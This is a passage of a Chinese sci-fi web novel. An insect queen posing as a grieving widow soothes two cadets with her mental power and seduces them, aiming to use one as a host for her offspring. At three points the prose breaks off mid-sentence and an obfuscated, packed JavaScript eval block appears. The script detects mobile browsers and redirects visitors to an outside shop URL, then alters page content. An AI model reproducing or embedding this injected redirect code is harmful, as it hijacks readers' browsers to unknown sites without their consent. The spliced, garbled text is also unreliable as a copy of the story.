夜色渐深,兰乌正对着窗外发呆,思考着接下来该如何努力生崽,宿舍门被有些粗暴地敲响了。 没等她回应,门就被推开。 凯斯·冯·海因里希站在门口,铂金色的头发不像往日那般一丝不苟,几缕碎发垂落在额前,带着风尘仆仆的气息。他依旧穿着星刃的制服,但领口微敞,脸上惯有的那种慵懒讥诮消失不见,取而代之的是一种压抑的、几乎要溢出来的烦躁。 他没看兰乌,径直走进来,将自己摔进客厅的沙发里,手臂搭在眼睛上。 兰乌安静地看着他,没说话。她能感觉到他精神力的波动,混乱、滞涩,像被搅浑的潭水。 过了好一会儿,凯斯才闷闷地开口,声音带着一丝不易察觉的沙哑:“我要走了。借你这儿休息会儿。” 兰乌微微偏头。 “前线实习。”他放下手臂,灰蓝色的眼眸望向天花板,里面没有焦点,只有一片沉郁,“大二的必修课,时间到了。” 他扯了扯嘴角,露出一个算不上笑的表情:“去和那些该死的虫子面对面。说不定运气好,还能碰上杀了你丈夫的那群。” 他的语气带着一种自嘲般的尖锐。 兰乌:“你心情不好,不想去?” 像是积蓄的情绪找到了缺口,凯斯继续说了下去,声音里带着压抑的怒火和不甘: “今天……交流会,机甲格斗决赛。”他几乎是从牙缝里挤出这句话,“我输了。” 兰乌想起光屏上奥萝拉的身影。 “输给了谁?”她轻声问,“奥萝拉吗?她毕竟是第一……” 凯斯嗤笑一声,带着浓浓的不屑与一丝难以掩饰的挫败:“不是那位第一名。” “塞德里·奥古斯都。” 兰乌茫然。 “你不知道他?”凯斯震撼了,“现在最有名的王储,最有希望继承整个帝国的人,你没听说过?” “噢……”兰乌知道自己露馅了,“我太文盲了,只知道称呼陛下和殿下……” 但或许是太挫败了,本该异常敏锐的凯斯没有揪着她这一点,而是嘀咕着抱怨起来。 “我承认他有点本事,但如果不是那些资源堆砌……” 他的话戛然而止,像是意识到自己的失态,有些狼狈地扭过头,再次陷入沉默。但那紧绷的下颌线和攥紧的拳头,泄露了他内心的汹涌。 兰乌看着他。 这个总是用傲慢和毒舌伪装自己的贵族少爷,此刻剥去了那层外壳,露出了里面那个也会失败、也会不甘、也会对命运感到愤怒的、真实的年轻人。 他要去危险的前线。 他在重要的比赛中,输给了身份地位远超自己的对手。 这种混合着对未来的忧虑和对现实无力的挫败感,兰乌似乎……能理解一点点。 她依旧没说什么安慰的话,那些空洞的言辞对他毫无意义。 她只是站起身,走到他面前。 凯斯抬起头,有些警惕又有些困惑地看着她。 兰乌伸出手,不是额头,而是轻轻放在了他紧握的拳头上。她的指尖微凉,动作很轻,却带着一种奇异的安抚力量。 “你很强。”她开口,声音平静,却异常清晰,绿色的眼眸直视着他,“比你自己认为的,要强。” “你会拿下出色的成绩,从前线活着回来。” 凯斯愣住了。他预想过她的沉默,或者几句不痛不痒的场面话,却没想到是这样一句直接的、近乎笃定的评价。 没有华丽的辞藻,没有虚伪的客套。只有最直接的认可,和最朴素的……牵挂。 她的精神力化作极其细微的、清凉的溪流,顺着两人肌肤相触的地方,缓缓渗入他躁动混乱的精神图景。不是治愈,不是梳理,更像是一种……镇定和锚定。让他翻腾的情绪慢慢平息下来,找回一丝冷静。 凯斯感觉那团堵在胸口的郁气,似乎被这微小的力量撬开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768368|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝缝隙。他看着她近在咫尺的、苍白的脸,那双绿色的眼眸里没有同情,没有怜悯,只有一种近乎纯粹的……认可。 这种感觉,比他赢得任何一场比赛都更要……陌生。 他喉结滚动了一下,想说什么,却发现自己发不出声音。 许久未见兰乌,她小腹已然平坦。 星刃自然不会亏待她,她被养得极好,彻底没了第一次见面时的伶仃瘦弱,脸颊上甚至有了一份丰腴的软肉。 似乎。 她已经同过去彻底割离了。 他的童年记忆里,没有温暖的怀抱,没有耐心的陪伴,只有冰冷的大理石走廊,严格的礼仪导师,以及永远在衡量利益与价值的目光。父亲忙于家族事务和政务,母亲更像是一位负责出席社交场合、维系家族体面的精致花瓶。亲情?那不过是维系血脉和利益的纽带,淡薄得如同月光下的晨雾。 他从小就知道,想要什么,必须自己去争,去抢。表现出脆弱和依赖,只会被视为不合格的继承人。就连关心,也常常包裹在挑剔和鞭策的外衣之下。 直到他遇见了兰乌。 这个来历不明、却又拥有着惊人力量的女人。 她从未因他的姓氏而对他另眼相看,也从未因他的毒舌而真正退缩,虽然她满口少爷先生的敬称,凯斯却能感受到她心底并无真正的敬意。 而刚才…… 她甚至看出了他的烦躁,他的不甘,他那……隐藏得很好的,对前线的些许不安。 他明明,不需要这种软弱的依恋。 他深吸一口气,将心中那点陌生的暖意强行压下,重新挺直了脊背,脸上恢复了惯有的、带着些许嘲弄的表情:“用你说?我当然很强,会挂满功勋地回来。” 兰乌笑了笑。 她能感受到对方那高品质的精神力已经稳定下来。 S级的精神力,嗅起来是如此可口,又如此年轻,源源不断地往外释放着活力。 凯斯并没有立刻离开。 他依旧陷在沙发里,手臂重新搭在额头上,仿佛被一种沉重的疲惫攫住。客厅里只开了一盏壁灯,昏黄的光线将他棱角分明的侧脸分割成明暗交错的区域,铂金色的发丝在阴影中显得有些黯淡。 兰乌没有打扰他,只是悄无声息地在他斜对面的单人沙发上坐下,像一个耐心的观察者,隐没在更深的阴影里。 尽管大部分时候,凯斯铂金色的发丝、线条优美的下颌和那双总是带着讥诮的灰蓝色眼眸,仍然有一丝青少年的稚气。 但他身体又有经过严格训练后,如同猎豹般流畅而充满爆发力的力量感。即使在他烦躁颓唐地陷在沙发里时,那微微绷紧的肩背线条和攥紧的拳头,也透露出一种不容小觑的物理力量。 精神力如同薄荷般清凉、尖锐,穿透力和韧性都很好,即便此刻混合着对未来的不安、对失败的愤怒,却只是激发出了更加冰冷的斗志。 在压力下淬炼出的精神状态,仿佛让他的生命力都在燃烧,散发出一种极具攻击性的、吸引她注意的气息。 他像一柄被拭去尘埃、即将出鞘的利剑,锋芒毕露,又带着一丝孤注一掷的危险美感。 兰乌的指尖无意识地轻轻敲击着。 她冒出了一个真正的、违背祖宗的决定。 如果她能以他这样的人为苗床…… 诞育自己的幼崽。 24. 24 凯斯带着一身未散的烦躁与那点他自己都不愿承认的、因兰乌那句“活着回来”而产生的微妙触动,准备离开。 手已经搭在了门把手上。 兰乌的声音忽地从他身后传来,很轻,带着一种仿佛随时会断裂的脆弱。 “凯斯学长……” 凯斯动作一顿,没有回头,但也没有立刻拧开门。 “我好像……总是在失去。”她的声音像羽毛一样,飘在寂静的空气里,“丈夫……孩子……一个接一个,都离开了。” 凯斯背对着她,眉头不自觉地蹙起。他不擅长应对这种悲伤的倾诉。 他感到无措。 不管是追求完美的家人,还是身边最好的朋友阿尔文,都不会起诉太脆弱的内容。 他听到身后传来细微的、压抑的吸气声。终于,他还是转过了身。 只见兰乌依旧坐在那片阴影里,但壁灯昏黄的光线恰好勾勒出她侧脸的轮廓。她没有嚎啕大哭,甚至没有明显的抽噎,只是安静地坐在那里,眼泪却像断了线的珍珠,一颗接一颗地从她绿色的眼眸中滚落。 它们滑过她苍白得近乎透明的脸颊,留下湿漉漉的痕迹,在下颌处悬停一瞬,然后滴落,悄无声息地没入她黑色的裙摆。 她哭得没有声音,却比任何嚎啕都更让人心头发紧。 那是一种被巨大的、无声的悲伤淹没后的沉寂。她的肩膀微微颤抖,纤细的手指紧紧攥着裙角,指节泛白。 破碎的美丽。 像一件价值连城、却被狠狠摔在地上的瓷器,每一道裂痕都透着令人窒息的遗憾和美感。灯光在她沾满泪水的睫毛上折射出细碎的光芒,让她整个人看起来像一座正在融化的、悲伤的雪雕。 凯斯僵在原地。 他一直认为兰乌擅长伪装柔弱,他见过她惊慌失措,但从未见过她如此……毫不设防地、将一种深彻骨髓的悲伤展露出来。 找不到任何伪装的痕迹。 在昏黄的灯光下。 他看见她披露的内心。 他那些关于前线、关于失败的烦躁,在她这片沉静的泪海面前,突然显得有些微不足道了。 兰乌抬起泪眼朦胧的眼,望向他。 就像是,他们正在交换彼此最脆弱的一面。 他转过身,没几步,就到了兰乌身前。 “对不起……”她声音哽咽,带着浓重的鼻音,“我不该说这些……让你烦心了……” 她用力擦了擦眼泪,试图挤出一个笑容,却比哭还让人难受。 “我只是……”她低下头,声音轻得几乎听不见,带着一丝令人心碎的颤抖, “只是觉得……太寂寞了……” “这里,空空荡荡的。”她按着自己心口,又滑落向小腹,“这里也,空空荡荡。” 凯斯想嘲她,可说不出那么尖锐的语气了,他只是很平静地问:“你就这么想要一个孩子么,渴求与自己血脉相连的人?” 血缘……家人…… 这两个词汇在他脑海中闪过,带来的不是温暖,而是一种近乎生理性的厌恶和讽刺。 家族,从来都是一个闪耀着权势与财富光芒的姓氏,加上一个用无数规则和期望堆砌而成的、华美而冰冷的牢笼。 在他的记忆里,血缘从来不是亲情的纽带,而是衡量价值的标尺。 他必须优秀,必须符合预期,任何偏离都是对“血缘”的玷污。 父母之间看似相敬如宾,却各自拥有公开或半公开的情人,只要不损害家族体面,无人过问。兄弟姐妹之间是潜在的竞争对手,为了资源、为了父亲的青睐,明争暗斗从未停歇。所谓的亲情聚会,不过是另一个需要佩戴面具、进行社交表演的战场。 他实在厌倦,早早退出了继承人的争斗。 报的专业也是机甲系,正儿八经需要上前线。 和阿尔文那样旨在镀金、后续一定会进入领导层的人,选择其实不一样。 他知道自己其实没那么上进。 现在又为何因失败而失落呢? “寂寞,太可笑了。”他语气平静。 兰乌:“你不懂的。你这样的少爷……” “我这样的人?”凯斯嗤笑一声,忽得逼近过去,“你了解我吗?” “少在那里摆出一副被全世界抛弃的样子!” 兰乌似乎被他突如其来的怒火惊住了,沾着泪珠的睫毛微微颤动,绿色的眼眸里闪过一丝真实的错愕。 下一秒,凯斯猛地伸出手,不是温柔的安慰,而是带着一股不容抗拒的力道,一把抓住了她纤细的手腕。他的掌心滚烫,力道之大,让兰乌微微蹙眉。 “你觉得你失去了所有,是吗?”他逼近她,气息几乎喷在她的脸上,“丈夫?孩子?那些被血缘或者法律强行绑在一起的东西?” 他不由分说地,近乎粗暴地,拉着她的手,强行按在了她自己的左胸口——那单薄布料下,心脏正在急促跳动着的位置。 砰——砰——砰—— 隔着衣物和皮肉,那一声声清晰而有力的心跳,通过掌心直接传递到兰乌的感知中,带着生命的温度和力度。 凯斯死死盯着她的眼睛,一字一句,像是要将这些话凿进她的脑子里: “听着!少了那些所谓的家人,根本他妈的一点关系都没有!” “看看你自己!你的心脏还在跳!你的血还是热的!你还活着!” 他的声音带着一种斩钉截铁的、近乎偏执的笃定,仿佛在说服她,更仿佛在说服自己。 “血缘算什么?家人算什么?不过是……不过是套在你脖子上,让你按照他们的期望去活、去死的一道枷锁!没了他们,你才能真正为自己活着!” 他看着她苍白脸上未干的泪痕,看着她因惊愕而微微张开的唇,手上的力道不自觉地又加重了几分,仿佛想通过这近乎疼痛的接触,将自己的信念强行灌输给她。 “寂寞?”他嗤笑一声,那笑声里却听不出多少愉悦,只有冰冷的自嘲和一种深藏的疲惫,“拥有那些东西的人才最寂寞!活在无数双眼睛的期待里,像个被操纵的木偶……那才是真正的、无药可救的寂寞!” 兰乌抬起头,能清晰地感受到自己心脏那失序的、强有力的搏动,一声声,敲打着她的耳膜。 不稳定的精神力,溢散的味道……好香。 掌心下的躯体,因激动而起伏。 胸肌从柔软变得坚硬。 凯斯正盯着她,似是单方面的倾诉,又像是渴求她能回答,能认同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776275|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是兰乌收紧了手指,小小的、纤细的手,像是要透过胸肌、抓住里面的心脏一样,怪可怜可笑的。 她神色微微茫然,声音轻颤:“比我老公的肌肉大……” 凯斯:“……” “老公老公老公——”他看起来要气坏了,“你满脑子只有老公是吗?怎么不再找一个算了!找一个好老公填补你那该死的寂寞!” 话音刚落,他对上兰乌那双水灵灵的绿眼睛。 凯斯骤然沉默。 她正在看他。 不是之前那种带着泪光的、破碎的凝视,而是一种极其专注的、带着某种奇异探究的眼神。绿色的眼眸像两潭深不见底的湖水,仿佛要将他从外到里彻底看穿。那目光里没有谴责,没有悲伤,只有一种近乎纯粹的、危险的……兴趣。 凯斯被这目光钉在原地,浑身僵硬,准备硬着头皮承受她可能的怒火或更汹涌的泪水时—— 兰乌动了。 她没有后退,没有哭闹,反而像一尾灵活而悄无声息的鱼,向前一步,轻轻地、却带着不容拒绝的意味,钻进了他的怀里。 凯斯浑身猛地一僵,如同被电流击中。柔软的身体紧密地贴合上来,隔着薄薄的衣料,他能清晰地感受到那纤细的骨架和微凉的体温。那股清冽的、带着悲伤气息的兰花香,瞬间变得浓郁,无孔不入地将他包裹。 他下意识地想推开她,手臂却像灌了铅一样沉重,抬不起来。 然后,他感觉到怀里的脑袋微微动了动,温热的呼吸拂过他颈侧的皮肤,带来一阵细微的战栗。紧接着,那个带着一丝委屈、一丝迷茫,却又软得能滴出水来的声音,贴着他的胸膛,轻轻响起: “可是……凯斯学长……” 她仰起脸,下巴几乎抵着他的胸口,绿色的眼眸水汪汪地望着他,里面充满了无助和一种天真到近乎残忍的诱惑。 “我……我不知道该怎么找好老公呀……” 每一个字都像羽毛,轻轻搔刮着他紧绷的神经。她的声音又轻又软,带着一点点鼻音,像是在撒娇,又像是在无助地叹息。 然后,她微微踮起脚尖,温软的唇瓣几乎要贴上他的耳廓,那温热的气息带着兰花的幽香,如同一张无形细密的网,将他牢牢笼罩。 她用一种气声,带着难以言说的亲昵,呢喃道: “好老公……?” “都是他们主动来找我的……我不知道怎么找。” “你教教我……好不好呀?” 一声又一声,“老公”这个称呼从她口中吐出,没有羞涩,没有爱意,像唤他,又不是。像藤蔓,像蛛丝,一点点缠绕上他的理智,试图将他拖入一个未知的、危险的漩涡。 凯斯的呼吸彻底乱了。 他能听到自己心脏在胸腔里疯狂擂鼓的声音。 “哒哒哒。” 敲门声。 “兰乌,你在吗?”阿尔文的声音。 凯斯像是猛地回过神,推开兰乌,兰乌都没来得及看清他,就听见他低声问:“有别的出口吗?” “没有。”兰乌摇头,指了条明路,“去我房间,凯斯学长,为什么你要躲起来?” “别废话!”要藏,却又在走前伸手拂过兰乌的脸,“我会教你的,兰乌。” 25. 25 阿尔文站在门口,金色的头发不像往日那般一丝不苟,带着些凌乱的痕迹,俊美的脸上带着显而易见的疲惫,冰蓝色的眼眸中也少了些平日的温和冷静,多了几分倦色。 “晚上好,兰乌夫人,希望没有打扰您休息。” 阿尔文的声音带着歉意,他看到了兰乌脸上未完全褪去的红晕,以及似乎比平时更水润的眼眸,只当她仍然沉浸在悲伤中,或身体不适,心中怜意更甚。 “我刚刚结束一轮高强度对抗训练,精神力有些……不稳。”他解释道,语气诚恳,“想到您的安抚效果最好,冒昧前来,希望能请您再帮我一次。” 他顿了顿,目光关切地扫过她依旧苍白的肤色:“当然,也更想来看看您,您近日……还好吗?” 兰乌侧身让他进来,轻声回应:“我还好,谢谢您关心,阿尔文先生。为您提供服务是我的荣幸。您帮了我太多。” “你又在用敬语了。” “阿尔文同学。” “和之前一样。还是在卧室吗?” 兰乌“嗯”了声,语气变得更加轻柔:“你看起来确实很累,在卧室会更安静些。” 阿尔文不疑有他,跟着兰乌走进了她的卧室。 衣柜内,凯斯透过狭窄的缝隙,死死地盯着外面。他看到阿尔文跟着兰乌走进来,看到兰乌示意阿尔文在她那张还残留着些许她体温的床边坐下。 他放轻了呼吸。 实战课教学的隐蔽气息,居然用在了这里。 更让他震撼的是,阿尔文居然如此熟稔的来到了兰乌的卧室。 “和之前一样”,什么时候来过?他竟然完全不知道。 兰乌站在阿尔文面前,微微俯身,伸出微凉的指尖,如同以往无数次那样,轻轻点在了阿尔文的额头上。 “请放松,阿尔文先生。”她的声音温柔得能滴出水来。 阿尔文闭上眼,发出一声舒适的喟叹,显然极为受用。 凯斯在衣柜里,看着她纤细的背影。 看着她对另一个男人展露温柔,听着阿尔文那毫不设防的、甚至带着一丝依赖的叹息……他们就这么一起坐在床上。 而刚才她在他怀里,用同样的声音唤着“老公”…… 凯斯几乎要冷笑出来。 他曾经开玩笑说过阿尔文是不是对兰乌有好感,现在看来…… 衣柜内空间狭小,光线昏暗,只有门缝透进一丝微弱的光,勾勒出凯斯紧绷的下颌线条。他透过缝隙,死死盯着外面床边的两人。 兰乌的手指轻柔地搭在阿尔文额前,姿态专注,仿佛在进行一项神圣的仪式。阿尔文闭着眼,原本因疲惫而微蹙的眉头逐渐舒展开,紧抿的唇线也放松下来,甚至微微上扬,泄露出一种全然的、毫无防备的舒适感。他挺拔的坐姿微微松懈,向兰乌的方向倾斜,仿佛在无意识地追寻那份安宁的源泉。 凯斯:“……”刻意了。 不往后倒,往前倒。 他看着阿尔文脸上那熟悉又刺眼的放松神情,自己的太阳穴却突突直跳。 他太清楚那是什么感觉了。 那种瞬间刺穿所有防备的清凉,紧接着是温暖洪流,将灵魂里所有的焦躁、疲惫、不安都温柔地碾碎、融化。一直到,只剩下让人膝盖发软、理智崩溃、恨不得永远沉溺其中的极致安宁。 理智与克制,在那片温暖的海洋中一点点瓦解,只剩下最原始、最贪恋舒适的本能,驱使着人想要更多,更近…… “嗯……”阿尔文的声音。 他竟然发出那种丢人的闷哼! 凯斯有些莫名的烦躁。 仿佛被冒犯到一样。某种本应只属于他和兰乌之间的感受,正在被人分享。 他甚至能想象到,阿尔文那看似平静的外表下,精神力正如何不受控制地、谄媚地缠绕上兰乌的力量,渴望着被安抚,被占有……就像…… 他自己不愿意面对的,自己那时候的反应。 但凭什么? 阿尔文凭什么能在她的卧室里,坐在她的床边,距离那么近地体验? 他看着阿尔文那越来越放松、甚至隐隐透出依赖的姿态,看着兰乌那看似无私奉献的侧影。 仿佛心里烧起一把火。 却无法动弹。 是他自己选择了躲起来。 衣柜内的空气似乎变得稀薄起来,凯斯攥紧了拳头,指节泛白。 治疗没持续多久。 或许是短时间治疗了两个人,兰乌脸色看起来有些虚弱,闭着眼往前倒了一下,正巧和往前倾的阿尔文贴在一起。 “啊……”她有气无力,“太失礼了。” 阿尔文抱着她:“你应该好好休息,补充营养。” “谢谢您的关心。” 明明有力气,阿尔文却没把兰乌推开。凯斯看见了一切,极力压制着冷笑。 治疗结束了,阿尔文也没走。 他下意识地张开手臂,那纤细的、带着清冽兰花香气的身躯便不偏不倚地陷入了他的怀中。 怀中的人轻得不可思议,仿佛一团易碎的云,苍白的脸颊靠在他的肩窝,呼吸微弱而急促,额角甚至渗出了细密的冷汗。 兰乌抬起眼,绿色的眼眸水光潋滟,充满了生理性的痛苦和一种深切的哀伤,声音气若游丝,断断续续,“我……我好像还是……太勉强了……精神力……消耗……” 她的声音越来越弱,带着一种令人心碎的颤音,仿佛下一秒就会晕厥过去。 “我去找罗兰医生。”阿尔文要起身,却被兰乌冰凉的手指轻轻拉住了衣袖。 “不……不用……”她微微摇头,泪水无声地从眼角滑落,浸湿了他制服的衣料,“我……我休息一下就好……只是……” 她仰起脸,那双被泪水洗过的绿眸直直地望着他,里面充满了一种近乎绝望的渴望和脆弱,她用尽力气般,一字一句,带着令人无法拒绝的哀婉,轻声呓语: “阿尔文先生……我……我还是想要一个孩子……” “一个……属于我的孩子……” “没有孩子……我活不下去……真的好寂寞……” 她的声音像最柔软的丝线,缠绕上阿尔文的理智。她靠在他怀里,身体微微颤抖,仿佛风中残烛,气息微弱,吐气如兰,却每一个字都敲打在他心上。 阿尔文僵住了,扶着她肩膀的手微微收紧,喉结剧烈地滚动了一下。他能感受到怀中躯体的柔软与冰凉,能闻到她发间清冽的香气,能听到她带着哭腔的、诱人堕落的请求。 理智告诉他这不合时宜,甚至危险。 但情感与雄性本能,却在这一刻被强烈地触动。 而衣柜内—— 凯斯透过缝隙,将外面的一切看得清清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795339|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚。 阿尔文:“如果你坚持想要……” 通讯设备忽然亮起。 阿尔文下意识瞥了一眼,本来准备关闭,却在看见内容的瞬间皱起了眉。 “是有什么事吗?”兰乌不禁问。 “嗯,急事。”阿尔文清醒过来,起身,“我得回去了。” 兰乌顿时有点惋惜,好不容易哄到手的受孕容器就这样没了……阿尔文的精神力级别很高,各方面都很优秀,几乎平衡发展,她本来想找阿尔文来做这个受孕实验的。 走之前,阿尔文顿了顿:“如果您有什么需要,随时,随时可以找我。”他眸色翻涌着奇异的情绪,溶解了那份冰蓝的冷漠。 兰乌:“嗯。” …… 兰乌回到卧室,想要打开衣柜,凯斯却先一步地推开了柜子。 他几乎是急躁地拥上来,像条被冷落已久的小狗。 铂金色的头发有些凌乱,脸色阴沉得能滴出水来,灰蓝色的眼眸里燃烧着显而易见的怒火和一种被压抑的、滚烫的情绪。他不由分说,一把将还没来得及恢复过来的兰乌拽了过来,紧紧箍进自己怀里。 他的手臂像铁箍一样勒着她的腰,力道大得几乎让她喘不过气,胸膛剧烈起伏,灼热的气息喷在她的发顶。 “怎么?”他的声音带着毫不掩饰的讥讽和浓浓的酸味,几乎是贴着她的耳朵砸下来,“对着阿尔文·洛希尔那张道貌岸然的脸,也能说出想要孩子?嗯?” 他低下头,逼视着她那双似乎还蒙着水汽的绿色眼眸,语气越发尖刻:“他抱起来很舒服?让你高兴到愿意在床上给他精神安抚?” 每一个字都像是从牙缝里挤出来的,充满了连他自己都没完全意识到的嫉妒和一种被轻视的愤怒。 他脑海里反复回放着刚才她软在阿尔文怀里,用那种诱人又脆弱的声音说着“想要孩子”的画面,这让他心烦意乱,暴躁得想毁掉点什么。 兰乌在他怀里微微挣扎了一下,抬起脸,脸上依旧是那副无辜又迷茫的表情,仿佛听不懂他话里那几乎要凝成实质的醋意,轻声辩解:“凯斯学长……你误会了,我只是真的很想要一个孩子……阿尔文先生他……” 她越是这样解释,凯斯心头的火就烧得越旺。 “闭嘴!”他低吼一声,打断她的话,看着她那张近在咫尺的、苍白却依然美丽动人的脸,看着她微微张开的、仿佛还残留着诱人气息的唇瓣,所有的理智、所有的刻薄话语,在这一刻彻底崩断。 他猛地低下头,狠狠地吻上了她的唇。 这个吻毫无温柔可言,充满了掠夺和侵占的意味,像是要将阿尔文留下的气息彻底覆盖,又像是要通过这种方式,确认她的存在,平息自己内心翻江倒海般的烦躁与醋意。 兰乌在他怀中微微僵了一下,随即,那绿色的眼眸深处,掠过一丝几不可察的、计谋得逞般的幽光。嗓子里却发出了一声细微的、如同呜咽般的轻吟。 “这是、这是不被允许的……”她用手推,“我们……” “管他呢,我可不像阿尔文,身上没那么多规矩。” 他加深了吻。 兰乌伸手抓住了他的发丝,精神力轻轻松松地缠上去,寻找留下种子的方式。 如果虫族有祖宗,一定也会觉得这是不被允许的。她想着。虫母居然不自己生孩子,把别人当做苗床。